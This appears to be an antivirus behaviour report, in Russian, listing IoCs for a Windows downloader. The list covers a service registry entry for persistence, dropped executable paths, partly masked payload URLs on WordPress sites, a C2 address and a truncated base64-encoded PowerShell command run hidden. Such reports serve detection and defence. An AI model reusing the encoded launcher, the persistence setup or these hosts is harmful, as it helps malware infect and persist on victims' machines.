Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dpnaddr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dpnaddr] 'ImagePath' = '"%WINDIR%\SysWOW64\MP43DECD\dpnaddr.exe"'
- 'dpnaddr' "%WINDIR%\SysWOW64\MP43DECD\dpnaddr.exe"
- 'dpnaddr' %WINDIR%\SysWOW64\MP43DECD\dpnaddr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABBAHIAbQAwADIAZgBfAD0AKAAnAFcAdQAnACsAKAAnAG0AdgBhAGQAJwArACcAeAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBTAEUAUgBQAHIATwBmAEkAbABFAFwAdwBUAG0AcwBzADkAVg...
- %HOMEPATH%\wtmss9v\xf5vug6\mswephd0s.exe
- %WINDIR%\syswow64\mp43decd\dpnaddr.exe
- %HOMEPATH%\wtmss9v\xf5vug6\mswephd0s.exe в %WINDIR%\syswow64\mp43decd\dpnaddr.exe
- '17#.#13.69.136':80
- http://am####travel.com/wp-admin/1/
- http://iq###hority.com/wp-admin/9Id/
- http://www.si##sro.com/wp-includes/o/
- http://17#.#13.69.136/8pmIWiEsRzr/jeQIxJo5oeVXp/a5B42OV/cIW3P4HnmE6VpnN/
- DNS ASK am####travel.com
- DNS ASK iq###hority.com
- DNS ASK si##sro.com
- '%HOMEPATH%\wtmss9v\xf5vug6\mswephd0s.exe'
- '%WINDIR%\syswow64\mp43decd\dpnaddr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABBAHIAbQAwADIAZgBfAD0AKAAnAFcAdQAnACsAKAAnAG0AdgBhAGQAJwArACcAeAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBTAEUAUgBQAHIATwBmAEkAbABFAFwAdwBUAG0AcwBzADkAVg...' (со скрытым окном)